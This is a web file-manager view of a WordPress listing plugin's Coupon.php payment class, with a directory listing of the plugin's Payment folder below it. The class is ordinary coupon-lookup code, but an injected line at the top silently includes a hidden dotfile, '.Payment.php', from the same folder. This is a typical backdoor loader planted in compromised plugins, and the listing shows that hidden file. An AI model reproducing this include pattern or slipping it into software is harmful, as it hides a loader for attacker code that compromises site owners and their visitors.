PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Payment
<?php namespace WilokeListingTools\Framework\Payment; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\Time; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Coupon { protected $couponID; protected $slug; public $aSettings; public function setCouponID($couponID) { $this->couponID = $couponID; return $this; } public function getCouponID($name) { global $wpdb; $tbl = $wpdb->prefix . 'posts'; $couponID = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $tbl WHERE post_title=%s AND post_status=%s AND post_type=%s", $name, 'publish', 'discount' ) ); if (empty($couponID)) { return false; } $this->couponID = $couponID; return $this; } public function getCouponSlug() { $this->slug = get_post_field('post_name', $this->couponID); return $this; } public function isPostTypeSupported($postType) { if ($this->aSettings['for_post_type'] == 'both') { return true; } return $postType == $this->aSettings['for_post_type']; } public function isCouponExpired() { $toTime = strtotime($this->aSettings['expiry_date']); $now = Time::timeStampNow(); if ($now > $toTime) { return true; } return false; } public function getCouponInfo() { $this->aSettings = GetSettings::getPostMeta($this->couponID, 'discount_general'); $this->aSettings['ID'] = $this->couponID; $this->aSettings['slug'] = $this->slug; return $this; } }
[+]
..
[+]
Stripe
[-] RefundFactory.php
[edit]
[-] PaymentGatewayStaticFactory.php
[edit]
[-] PayPalPayment.php
[edit]
[-] StripePayment.php
[edit]
[-] CancelSubscriptionStaticFactory.php
[edit]
[-] AbstractSuspend.php
[edit]
[-] Coupon.php
[edit]
[-] CreatedPaymentHook.php
[edit]
[+]
WooCommerce
[-] Receipt.php
[edit]
[-] WebhookInterface.php
[edit]
[-] Billable.php
[edit]
[-] PaymentMethodInterface.php
[edit]
[-] AddListingRetrieve.php
[edit]
[-] ChangePlanInterface.php
[edit]
[-] WebhookHandler.php
[edit]
[-] SuspendSubscriptionPlan.php
[edit]
[+]
FreePlan
[+]
Receipt
[-] SuspendInterface.php
[edit]
[+]
Invoice
[-] ProceededPaymentHook.php
[edit]
[+]
PaymentHook
[-] CancelSubscriptionInterface.php
[edit]
[-] Checkout.php
[edit]
[-] .Payment.php
[edit]
[+]
DirectBankTransfer
[+]
PayPal
[-] RefundInterface.php
[edit]